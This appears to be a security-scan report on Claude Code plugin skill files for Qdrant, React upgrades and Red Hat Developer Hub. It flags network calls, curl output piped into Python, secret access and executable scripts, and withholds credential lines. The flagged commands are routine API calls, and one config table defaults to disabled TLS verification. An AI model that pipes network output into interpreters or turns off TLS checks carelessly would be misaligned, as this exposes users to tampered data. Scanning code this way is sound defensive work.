    - **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a
  • Network accessline 59
    - **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md

  • Network accessline 10
    - Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/)
  • Network accessline 18
    Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best 
  • Network accessline 23
    At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants 
  • Network accessline 24
    To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash.
  • Network accessline 29
    If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md

  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps/SKILL.md

  • Network accessline 16
    - Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 17
    - Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 18
    - Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 22
    - Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/)
  • Network accessline 24
    - Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs)
  • Network accessline 32
    - Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment
  • Network accessline 34
    - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 44
    - Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 45
    - Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/)
  • Network accessline 46
    - In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query)
  • Network accessline 47
    - Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati

harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/SKILL.md

  • Network accessline 39
    Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api.
  • Network accessline 106
    - [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)

harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis/SKILL.md

  • Network accessline 14
    - Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search)
  • Network accessline 16
    - Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://
  • Network accessline 18
    - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api)
  • Network accessline 26
    - Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 27
    - Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 28
    - Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 29
    - Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 30
    - ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 32
    Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum
  • Network accessline 38
    Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies/SKILL.md

  • Network accessline 15
    - Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search)
  • Network accessline 16
    - Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom
  • Network accessline 17
    - For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings)
  • Network accessline 18
    - RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf)
  • Network accessline 19
    - DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf)
  • Network accessline 26
    - Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/)
  • Network accessline 27
    - See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant
  • Network accessline 28
    - ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres
  • Network accessline 40
    - RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model
  • Network accessline 41
    - Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th
  • Network accessline 42
    - Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback)
  • Network accessline 43
    - Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en
  • Network accessline 49
    - Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr)
  • Network accessline 57
    - Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api)
  • Network accessline 58
    - Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy)
  • Network accessline 59
    - Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api)
  • Network accessline 64
    Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)

harness/claude-code/plugins/qdrant-development/skills/qdrant-version-upgrade/SKILL.md

  • Network accessline 36
    A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen
  • Network accessline 51
    3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo
  • Network accessline 52
    4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6.
  • Network accessline 53
    5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli.
  • Network accessline 92
    - [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor)
  • Network accessline 93
    - [qcloud CLI](https://github.com/qdrant/qcloud-cli)

harness/claude-code/plugins/react18-upgrade/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/react18-upgrade/skills/react18-lifecycle-patterns/references/componentWillMount.md

  • Network accessline 57
    componentWillMount() {     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 58
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 59
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 77
    // All side effects move here - runs after first render     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 78
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 79
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 136
    componentWillMount() {   this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 137
    this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B     .then(items => this.setState({ items, loading: false }));
  • Network accessline 138
    fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 151
    componentDidMount() {   fetch('/api/items').then(r => r.json())    // Case B → componentDidMount
  • Network accessline 152
    fetch('/api/items').then(r => r.json())    // Case B → componentDidMount

harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/react19-upgrade/skills/react19-concurrent-patterns/references/react19-suspense.md

  • Network accessline 88
    // Raw promise (not recommended in production): function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 89
    function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));   return <pre>{JSON.stringify(data, null, 2)}</pre>;
  • Network accessline 90
    const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 111
    // Only create promise once per id:   const dataPromise = useMemo(() =>     fetch(`/api/data/${id}`).then(r => r.json()),
  • Network accessline 112
    const dataPromise = useMemo(() =>     fetch(`/api/data/${id}`).then(r => r.json()),     [id]
  • Network accessline 113
    fetch(`/api/data/${id}`).then(r => r.json()),

harness/claude-code/plugins/red-hat-developer-hub/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/assign.md

  • Network accessline 43
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
  • Network accessline 60
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 84
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 209
    curl -s -X PUT \
  • Network accessline 211
    -H "Content-Type: application/json" \   -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
  • Network accessline 213
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/auth.md

  • Network accessline 5
    **Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution.
  • Network accessline 31
    The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`.
  • Network accessline 45
    CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net"
  • Network accessline 46
    JIRA_BASE="https://redhat.atlassian.net"
  • Dangerous shell operationline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 65
    The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value 

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/duplicates.md

  • Network accessline 37
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/graphql-queries.md

  • Network accessline 5
    **Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below).
  • Network accessline 25
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 33
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 43
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 76
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 90
    curl -s -u "$AUTH" -X POST \
  • Network accessline 112
    # Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \
  • Network accessline 113
    curl -s -u "$AUTH" -X POST \
  • Network accessline 143
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 168
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/plan.md

  • Network accessline 40
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/refine.md

  • Network accessline 55
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 110
    curl -s -u "$AUTH" \
  • Network accessline 111
    "https://redhat.atlassian.net/rest/api/3/issue/ISSUE_KEY/comment?orderBy=-created&maxResults=5" \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/release.md

  • Network accessline 31
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/rest-api-fallback.md

  • Network accessline 26
    curl -s -o jira-openapi.json \
  • Network accessline 27
    'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 61
    # List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \
  • Dangerous shell operationline 62
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/field' |    python -c "
  • Network accessline 62
    curl -s -u "$AUTH" \
  • Network accessline 63
    'https://redhat.atlassian.net/rest/api/3/field' | \
  • Dangerous shell operationline 77
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' |    python -c "
  • Network accessline 77
    curl -s -u "$AUTH" \
  • Network accessline 78
    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \
  • Network accessline 93
    |--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla
  • Network accessline 94
    | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 95
    | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint |
  • Network accessline 104
    curl -s -X PUT \
  • Network accessline 106
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10028": 5}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 108
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 114
    curl -s -X PUT \
  • Network accessline 116
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10795": {"value": "M"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 118
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 126
    curl -s -X PUT \
  • Network accessline 128
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 130
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 138
    curl -s -X PUT \
  • Network accessline 140
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 142
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 163
    curl -s -u "$AUTH" \
  • Network accessline 164
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/sprint-report.md

  • Network accessline 38
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-epic.md

  • Network accessline 100
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 102
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-XXX"

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-issue.md

  • Network accessline 154
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 156
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-YYY"

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/references/update-jira-status.md

  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/parse_issues.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/setup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 211
    else:         print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 212
    print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")         return
  • Network accessline 213
    print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 239
    print("         Then: chmod 600 .jira-token")         print("         REST API/GraphQL fallback will not work without it.")         print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
  • Network accessline 241
    print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/customization-system.md

  • Access to secretsline 23
    [Credential-related source omitted]

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/env-reference.md

  • Network accessline 25
    |----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Network accessline 26
    | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID |
  • Network accessline 27
    | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    | Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 37
    |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user |
  • Network accessline 38
    | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 47
    | Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 48
    |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token |
  • Network accessline 49
    | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 80
    | Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Network accessline 81
    |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use |
  • Network accessline 82
    | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Network accessline 134
    | `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Network accessline 135
    | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) |
  • Network accessline 136
    | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Access to secretsline 149
    [Credential-related source omitted]

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/references/troubleshooting.md

  • Network accessline 17
    # 2. Test at http://localhost:7007
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 102
    # Manual checks curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 103
    curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 104
    curl http://localhost:7007                        # Frontend

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/backup.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 163
    rhdh_running = False     try:         with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 164
    try:         with socket.create_connection(("localhost", 7007), timeout=1):             rhdh_running = True
  • Network accessline 165
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 170
    if rhdh_running:         checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")
  • Network accessline 171
    checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")     else:
  • Network accessline 172
    fmt.log_ok("RHDH: running on http://localhost:7007")
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/compose.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/health.py

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    port_open = False     try:         with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 63
    try:         with socket.create_connection(("localhost", 7007), timeout=2):             port_open = True
  • Network accessline 64
    with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 72
    name="rhdh_port",                 status="pass",                 message="RHDH reachable on http://localhost:7007",
  • Network accessline 73
    status="pass",                 message="RHDH reachable on http://localhost:7007",             )
  • Network accessline 74
    message="RHDH reachable on http://localhost:7007",
  • Network accessline 111
    if port_open:         try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
  • Network accessline 112
    try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:                 body = resp.read().decode()
  • Network accessline 113
    with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/settings.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/sync.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/NOTICE

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    Project: rhdh-lab   Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 7
    Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab   License: Apache License 2.0
  • Network accessline 8
    Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 17
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/fetch-plugin-metadata.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 4
    Replaces the manual 3-step curl chain in the enable-plugin workflow.
  • Network accessline 23
    _CONTENTS_URL = (     "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 24
    "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 25
    "/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 27
    _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 296
    req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"})
  • Network accessline 297
    with urllib.request.urlopen(req, timeout=30) as resp:
  • Network accessline 341
    url = (         f"https://api.github.com/repos/redhat-developer/"
  • Network accessline 342
    f"https://api.github.com/repos/redhat-developer/"

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/rhdh-local

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/enable-plugin.md

  • Network accessline 157
    - [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007`
  • Network accessline 158
    - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
  • Network accessline 159
